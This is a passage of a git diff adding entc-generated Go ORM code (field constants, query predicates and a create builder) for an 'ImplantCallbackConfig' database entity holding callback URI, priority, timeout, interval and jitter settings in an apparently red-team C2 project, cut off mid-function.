FieldID = "id" + // FieldURI holds the string denoting the uri field in the database. + FieldURI = "uri" + // FieldPriority holds the string denoting the priority field in the database. + FieldPriority = "priority" + // FieldTimeout holds the string denoting the timeout field in the database. + FieldTimeout = "timeout" + // FieldInterval holds the string denoting the interval field in the database. + FieldInterval = "interval" + // FieldJitter holds the string denoting the jitter field in the database. + FieldJitter = "jitter" + // EdgeImplantConfigs holds the string denoting the implantconfigs edge name in mutations. + EdgeImplantConfigs = "implantConfigs" + // Table holds the table name of the implantcallbackconfig in the database. + Table = "implant_callback_configs" + // ImplantConfigsTable is the table that holds the implantConfigs relation/edge. The primary key declared below. + ImplantConfigsTable = "implant_config_callbackConfigs" + // ImplantConfigsInverseTable is the table name for the ImplantConfig entity. + // It exists in this package in order to avoid circular dependency with the "implantconfig" package. + ImplantConfigsInverseTable = "implant_configs" +) + +// Columns holds all SQL columns for implantcallbackconfig fields. +var Columns = []string{ + FieldID, + FieldURI, + FieldPriority, + FieldTimeout, + FieldInterval, + FieldJitter, +} + +var ( + // ImplantConfigsPrimaryKey and ImplantConfigsColumn2 are the table columns denoting the + // primary key for the implantConfigs relation (M2M). + ImplantConfigsPrimaryKey = []string{"implant_config_id", "implant_callback_config_id"} +) + +// ValidColumn reports if the column name is valid (part of the table columns). +func ValidColumn(column string) bool { + for i := range Columns { + if column == Columns[i] { + return true + } + } + return false +} + +var ( + // URIValidator is a validator for the "uri" field. It is called by the builders before save. + URIValidator func(string) error + // DefaultPriority holds the default value on creation for the "priority" field. + DefaultPriority int + // PriorityValidator is a validator for the "priority" field. It is called by the builders before save. + PriorityValidator func(int) error + // DefaultTimeout holds the default value on creation for the "timeout" field. + DefaultTimeout int + // TimeoutValidator is a validator for the "timeout" field. It is called by the builders before save. + TimeoutValidator func(int) error + // DefaultInterval holds the default value on creation for the "interval" field. + DefaultInterval int + // IntervalValidator is a validator for the "interval" field. It is called by the builders before save. + IntervalValidator func(int) error + // DefaultJitter holds the default value on creation for the "jitter" field. + DefaultJitter int + // JitterValidator is a validator for the "jitter" field. It is called by the builders before save. + JitterValidator func(int) error +) diff --git a/ent/implantcallbackconfig/where.go b/ent/implantcallbackconfig/where.go new file mode 100644 index 000000000..b3cb12a50 --- /dev/null +++ b/ent/implantcallbackconfig/where.go @@ -0,0 +1,602 @@ +// Code generated by entc, DO NOT EDIT. + +package implantcallbackconfig + +import ( + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "github.com/kcarretto/realm/ent/predicate" +) + +// ID filters vertices based on their ID field. +func ID(id int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDEQ applies the EQ predicate on the ID field. +func IDEQ(id int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDNEQ applies the NEQ predicate on the ID field. +func IDNEQ(id int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldID), id)) + }) +} + +// IDIn applies the In predicate on the ID field. +func IDIn(ids ...int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.In(s.C(FieldID), v...)) + }) +} + +// IDNotIn applies the NotIn predicate on the ID field. +func IDNotIn(ids ...int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.NotIn(s.C(FieldID), v...)) + }) +} + +// IDGT applies the GT predicate on the ID field. +func IDGT(id int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldID), id)) + }) +} + +// IDGTE applies the GTE predicate on the ID field. +func IDGTE(id int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldID), id)) + }) +} + +// IDLT applies the LT predicate on the ID field. +func IDLT(id int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldID), id)) + }) +} + +// IDLTE applies the LTE predicate on the ID field. +func IDLTE(id int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldID), id)) + }) +} + +// URI applies equality check predicate on the "uri" field. It's identical to URIEQ. +func URI(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldURI), v)) + }) +} + +// Priority applies equality check predicate on the "priority" field. It's identical to PriorityEQ. +func Priority(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldPriority), v)) + }) +} + +// Timeout applies equality check predicate on the "timeout" field. It's identical to TimeoutEQ. +func Timeout(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldTimeout), v)) + }) +} + +// Interval applies equality check predicate on the "interval" field. It's identical to IntervalEQ. +func Interval(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldInterval), v)) + }) +} + +// Jitter applies equality check predicate on the "jitter" field. It's identical to JitterEQ. +func Jitter(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldJitter), v)) + }) +} + +// URIEQ applies the EQ predicate on the "uri" field. +func URIEQ(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldURI), v)) + }) +} + +// URINEQ applies the NEQ predicate on the "uri" field. +func URINEQ(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldURI), v)) + }) +} + +// URIIn applies the In predicate on the "uri" field. +func URIIn(vs ...string) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldURI), v...)) + }) +} + +// URINotIn applies the NotIn predicate on the "uri" field. +func URINotIn(vs ...string) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldURI), v...)) + }) +} + +// URIGT applies the GT predicate on the "uri" field. +func URIGT(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldURI), v)) + }) +} + +// URIGTE applies the GTE predicate on the "uri" field. +func URIGTE(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldURI), v)) + }) +} + +// URILT applies the LT predicate on the "uri" field. +func URILT(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldURI), v)) + }) +} + +// URILTE applies the LTE predicate on the "uri" field. +func URILTE(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldURI), v)) + }) +} + +// URIContains applies the Contains predicate on the "uri" field. +func URIContains(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldURI), v)) + }) +} + +// URIHasPrefix applies the HasPrefix predicate on the "uri" field. +func URIHasPrefix(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldURI), v)) + }) +} + +// URIHasSuffix applies the HasSuffix predicate on the "uri" field. +func URIHasSuffix(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldURI), v)) + }) +} + +// URIEqualFold applies the EqualFold predicate on the "uri" field. +func URIEqualFold(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldURI), v)) + }) +} + +// URIContainsFold applies the ContainsFold predicate on the "uri" field. +func URIContainsFold(v string) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldURI), v)) + }) +} + +// PriorityEQ applies the EQ predicate on the "priority" field. +func PriorityEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldPriority), v)) + }) +} + +// PriorityNEQ applies the NEQ predicate on the "priority" field. +func PriorityNEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldPriority), v)) + }) +} + +// PriorityIn applies the In predicate on the "priority" field. +func PriorityIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldPriority), v...)) + }) +} + +// PriorityNotIn applies the NotIn predicate on the "priority" field. +func PriorityNotIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldPriority), v...)) + }) +} + +// PriorityGT applies the GT predicate on the "priority" field. +func PriorityGT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldPriority), v)) + }) +} + +// PriorityGTE applies the GTE predicate on the "priority" field. +func PriorityGTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldPriority), v)) + }) +} + +// PriorityLT applies the LT predicate on the "priority" field. +func PriorityLT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldPriority), v)) + }) +} + +// PriorityLTE applies the LTE predicate on the "priority" field. +func PriorityLTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldPriority), v)) + }) +} + +// TimeoutEQ applies the EQ predicate on the "timeout" field. +func TimeoutEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldTimeout), v)) + }) +} + +// TimeoutNEQ applies the NEQ predicate on the "timeout" field. +func TimeoutNEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldTimeout), v)) + }) +} + +// TimeoutIn applies the In predicate on the "timeout" field. +func TimeoutIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldTimeout), v...)) + }) +} + +// TimeoutNotIn applies the NotIn predicate on the "timeout" field. +func TimeoutNotIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldTimeout), v...)) + }) +} + +// TimeoutGT applies the GT predicate on the "timeout" field. +func TimeoutGT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldTimeout), v)) + }) +} + +// TimeoutGTE applies the GTE predicate on the "timeout" field. +func TimeoutGTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldTimeout), v)) + }) +} + +// TimeoutLT applies the LT predicate on the "timeout" field. +func TimeoutLT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldTimeout), v)) + }) +} + +// TimeoutLTE applies the LTE predicate on the "timeout" field. +func TimeoutLTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldTimeout), v)) + }) +} + +// IntervalEQ applies the EQ predicate on the "interval" field. +func IntervalEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldInterval), v)) + }) +} + +// IntervalNEQ applies the NEQ predicate on the "interval" field. +func IntervalNEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldInterval), v)) + }) +} + +// IntervalIn applies the In predicate on the "interval" field. +func IntervalIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldInterval), v...)) + }) +} + +// IntervalNotIn applies the NotIn predicate on the "interval" field. +func IntervalNotIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldInterval), v...)) + }) +} + +// IntervalGT applies the GT predicate on the "interval" field. +func IntervalGT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldInterval), v)) + }) +} + +// IntervalGTE applies the GTE predicate on the "interval" field. +func IntervalGTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldInterval), v)) + }) +} + +// IntervalLT applies the LT predicate on the "interval" field. +func IntervalLT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldInterval), v)) + }) +} + +// IntervalLTE applies the LTE predicate on the "interval" field. +func IntervalLTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldInterval), v)) + }) +} + +// JitterEQ applies the EQ predicate on the "jitter" field. +func JitterEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldJitter), v)) + }) +} + +// JitterNEQ applies the NEQ predicate on the "jitter" field. +func JitterNEQ(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldJitter), v)) + }) +} + +// JitterIn applies the In predicate on the "jitter" field. +func JitterIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldJitter), v...)) + }) +} + +// JitterNotIn applies the NotIn predicate on the "jitter" field. +func JitterNotIn(vs ...int) predicate.ImplantCallbackConfig { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldJitter), v...)) + }) +} + +// JitterGT applies the GT predicate on the "jitter" field. +func JitterGT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldJitter), v)) + }) +} + +// JitterGTE applies the GTE predicate on the "jitter" field. +func JitterGTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldJitter), v)) + }) +} + +// JitterLT applies the LT predicate on the "jitter" field. +func JitterLT(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldJitter), v)) + }) +} + +// JitterLTE applies the LTE predicate on the "jitter" field. +func JitterLTE(v int) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldJitter), v)) + }) +} + +// HasImplantConfigs applies the HasEdge predicate on the "implantConfigs" edge. +func HasImplantConfigs() predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantConfigsTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, ImplantConfigsTable, ImplantConfigsPrimaryKey...), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasImplantConfigsWith applies the HasEdge predicate on the "implantConfigs" edge with a given conditions (other predicates). +func HasImplantConfigsWith(preds ...predicate.ImplantConfig) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantConfigsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, ImplantConfigsTable, ImplantConfigsPrimaryKey...), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// And groups predicates with the AND operator between them. +func And(predicates ...predicate.ImplantCallbackConfig) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for _, p := range predicates { + p(s1) + } + s.Where(s1.P()) + }) +} + +// Or groups predicates with the OR operator between them. +func Or(predicates ...predicate.ImplantCallbackConfig) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + s1 := s.Clone().SetP(nil) + for i, p := range predicates { + if i > 0 { + s1.Or() + } + p(s1) + } + s.Where(s1.P()) + }) +} + +// Not applies the not operator on the given predicate. +func Not(p predicate.ImplantCallbackConfig) predicate.ImplantCallbackConfig { + return predicate.ImplantCallbackConfig(func(s *sql.Selector) { + p(s.Not()) + }) +} diff --git a/ent/implantcallbackconfig_create.go b/ent/implantcallbackconfig_create.go new file mode 100644 index 000000000..9a96b4b68 --- /dev/null +++ b/ent/implantcallbackconfig_create.go @@ -0,0 +1,402 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" +) + +// ImplantCallbackConfigCreate is the builder for creating a ImplantCallbackConfig entity. +type ImplantCallbackConfigCreate struct { + config + mutation *ImplantCallbackConfigMutation + hooks []Hook +} + +// SetURI sets the "uri" field. +func (iccc *ImplantCallbackConfigCreate) SetURI(s string) *ImplantCallbackConfigCreate { + iccc.mutation.SetURI(s) + return iccc +} + +// SetPriority sets the "priority" field. +func (iccc *ImplantCallbackConfigCreate) SetPriority(i int) *ImplantCallbackConfigCreate { + iccc.mutation.SetPriority(i) + return iccc +} + +// SetNillablePriority sets the "priority" field if the given value is not nil. +func (iccc *ImplantCallbackConfigCreate) SetNillablePriority(i *int) *ImplantCallbackConfigCreate { + if i != nil { + iccc.SetPriority(*i) + } + return iccc +} + +// SetTimeout sets the "timeout" field. +func (iccc *ImplantCallbackConfigCreate) SetTimeout(i int) *ImplantCallbackConfigCreate { + iccc.mutation.SetTimeout(i) + return iccc +} + +// SetNillableTimeout sets the "timeout" field if the given value is not nil. +func (iccc *ImplantCallbackConfigCreate) SetNillableTimeout(i *int) *ImplantCallbackConfigCreate { + if i != nil { + iccc.SetTimeout(*i) + } + return iccc +} + +// SetInterval sets the "interval" field. +func (iccc *ImplantCallbackConfigCreate) SetInterval(i int) *ImplantCallbackConfigCreate { + iccc.mutation.SetInterval(i) + return iccc +} + +// SetNillableInterval sets the "interval" field if the given value is not nil. +func (iccc *ImplantCallbackConfigCreate) SetNillableInterval(i *int) *ImplantCallbackConfigCreate { + if i != nil { + iccc.SetInterval(*i) + } + return iccc +} + +// SetJitter sets the "jitter" field. +func (iccc *ImplantCallbackConfigCreate) SetJitter(i int) *ImplantCallbackConfigCreate { + iccc.mutation.SetJitter(i) + return iccc +} + +// SetNillableJitter sets the "jitter" field if the given value is not nil. +func (iccc *ImplantCallbackConfigCreate) SetNillableJitter(i *int) *ImplantCallbackConfigCreate { + if i != nil { + iccc.SetJitter(*i) + } + return iccc +} + +// AddImplantConfigIDs adds the "implantConfigs" edge to the ImplantConfig entity by IDs. +func (iccc *ImplantCallbackConfigCreate) AddImplantConfigIDs(ids ...int) *ImplantCallbackConfigCreate { + iccc.mutation.AddImplantConfigIDs(ids...) + return iccc +} + +// AddImplantConfigs adds the "implantConfigs" edges to the ImplantConfig entity. +func (iccc *ImplantCallbackConfigCreate) AddImplantConfigs(i ...*ImplantConfig) *ImplantCallbackConfigCreate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return iccc.AddImplantConfigIDs(ids...) +} + +// Mutation returns the ImplantCallbackConfigMutation object of the builder. +func (iccc *ImplantCallbackConfigCreate) Mutation() *ImplantCallbackConfigMutation { + return iccc.mutation +} + +// Save creates the ImplantCallbackConfig in the database. +func (iccc *ImplantCallbackConfigCreate) Save(ctx context.Context) (*ImplantCallbackConfig, error) { + var ( + err error + node *ImplantCallbackConfig + ) + iccc.defaults() + if len(iccc.hooks) == 0 { + if err = iccc.check(); err != nil { + return nil, err + } + node, err = iccc.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantCallbackConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iccc.check(); err != nil { + return nil, err + } + iccc.mutation = mutation + if node, err = iccc.sqlSave(ctx); err != nil { + return nil, err + } + mutation.id = &node.ID + mutation.done = true + return node, err + }) + for i := len(iccc.hooks) - 1; i >= 0; i-- { + if iccc.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iccc.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iccc.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX calls Save and panics if Save returns an error. +func (iccc *ImplantCallbackConfigCreate) SaveX(ctx context.Context) *ImplantCallbackConfig { + v, err := iccc.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (iccc *ImplantCallbackConfigCreate) Exec(ctx context.Context) error { + _, err := iccc.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iccc *ImplantCallbackConfigCreate) ExecX(ctx context.Context) { + if err := iccc.Exec(ctx); err != nil { + panic(err) + } +} + +// defaults sets the default values of the builder before save. +func (iccc *ImplantCallbackConfigCreate) defaults() { + if _, ok := iccc.mutation.Priority(); !ok { + v := implantcallbackconfig.DefaultPriority + iccc.mutation.SetPriority(v) + } + if _, ok := iccc.mutation.Timeout(); !ok { + v := implantcallbackconfig.DefaultTimeout + iccc.mutation.SetTimeout(v) + } + if _, ok := iccc.mutation.Interval(); !ok { + v := implantcallbackconfig.DefaultInterval + iccc.mutation.SetInterval(v) + } + if _, ok := iccc.mutation.Jitter(); !ok { + v := implantcallbackconfig.DefaultJitter + iccc.mutation.SetJitter(v) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iccc *ImplantCallbackConfigCreate) check() error { + if _, ok := iccc.mutation.URI(); !ok { + return &ValidationError{Name: "uri", err: errors.New(`ent: missing required field "ImplantCallbackConfig.uri"`)} + } + if v, ok := iccc.mutation.URI(); ok { + if err := implantcallbackconfig.URIValidator(v); err != nil { + return &ValidationError{Name: "uri", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.uri": %w`, err)} + } + } + if _, ok := iccc.mutation.Priority(); !ok { + return &ValidationError{Name: "priority", err: errors.New(`ent: missing required field "ImplantCallbackConfig.priority"`)} + } + if v, ok := iccc.mutation.Priority(); ok { + if err := implantcallbackconfig.PriorityValidator(v); err != nil { + return &ValidationError{Name: "priority", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.priority": %w`, err)} + } + } + if _, ok := iccc.mutation.Timeout(); !ok { + return &ValidationError{Name: "timeout", err: errors.New(`ent: missing required field "ImplantCallbackConfig.timeout"`)} + } + if v, ok := iccc.mutation.Timeout(); ok { + if err := implantcallbackconfig.TimeoutValidator(v); err != nil { + return &ValidationError{Name: "timeout", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.timeout": %w`, err)} + } + } + if _, ok := iccc.mutation.Interval(); !ok { + return &ValidationError{Name: "interval", err: errors.New(`ent: missing required field "ImplantCallbackConfig.interval"`)} + } + if v, ok := iccc.mutation.Interval(); ok { + if err := implantcallbackconfig.IntervalValidator(v); err != nil { + return &ValidationError{Name: "interval", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.interval": %w`, err)} + } + } + if _, ok := iccc.mutation.Jitter(); !ok { + return &ValidationError{Name: "jitter", err: errors.New(`ent: missing required field "ImplantCallbackConfig.jitter"`)} + } + if v, ok := iccc.mutation.Jitter(); ok { + if err := implantcallbackconfig.JitterValidator(v); err != nil { + return &ValidationError{Name: "jitter", err: fmt.Errorf(`ent: validator failed for field "ImplantCallbackConfig.jitter": %w`, err)} + } + } + return nil +} + +func (iccc *ImplantCallbackConfigCreate) sqlSave(ctx context.Context) (*ImplantCallbackConfig, error) { + _node, _spec := iccc.createSpec() + if err := sqlgraph.CreateNode(ctx, iccc.driver, _spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + id := _spec.ID.Value.(int64) + _node.ID = int(id) + return _node, nil +} + +func (iccc *ImplantCallbackConfigCreate) createSpec() (*ImplantCallbackConfig, *sqlgraph.CreateSpec) { + var ( + _node = &ImplantCallbackConfig{config: iccc.config} + _spec = &sqlgraph.CreateSpec{ + Table: implantcallbackconfig.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + } + ) + if value, ok := iccc.mutation.URI(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantcallbackconfig.FieldURI, + }) + _node.URI = value + } + if value, ok := iccc.mutation.Priority(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldPriority, + }) + _node.Priority = value + } + if value, ok := iccc.mutation.Timeout(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldTimeout, + }) + _node.Timeout = value + } + if value, ok := iccc.mutation.Interval(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Value: value, + Column: implantcallbackconfig.FieldInterval, + }) + _node.Interval = value + } + if value, ok := iccc.mutation.Jitter(); ok { + _spec.Fields = append(_spec.Fields, 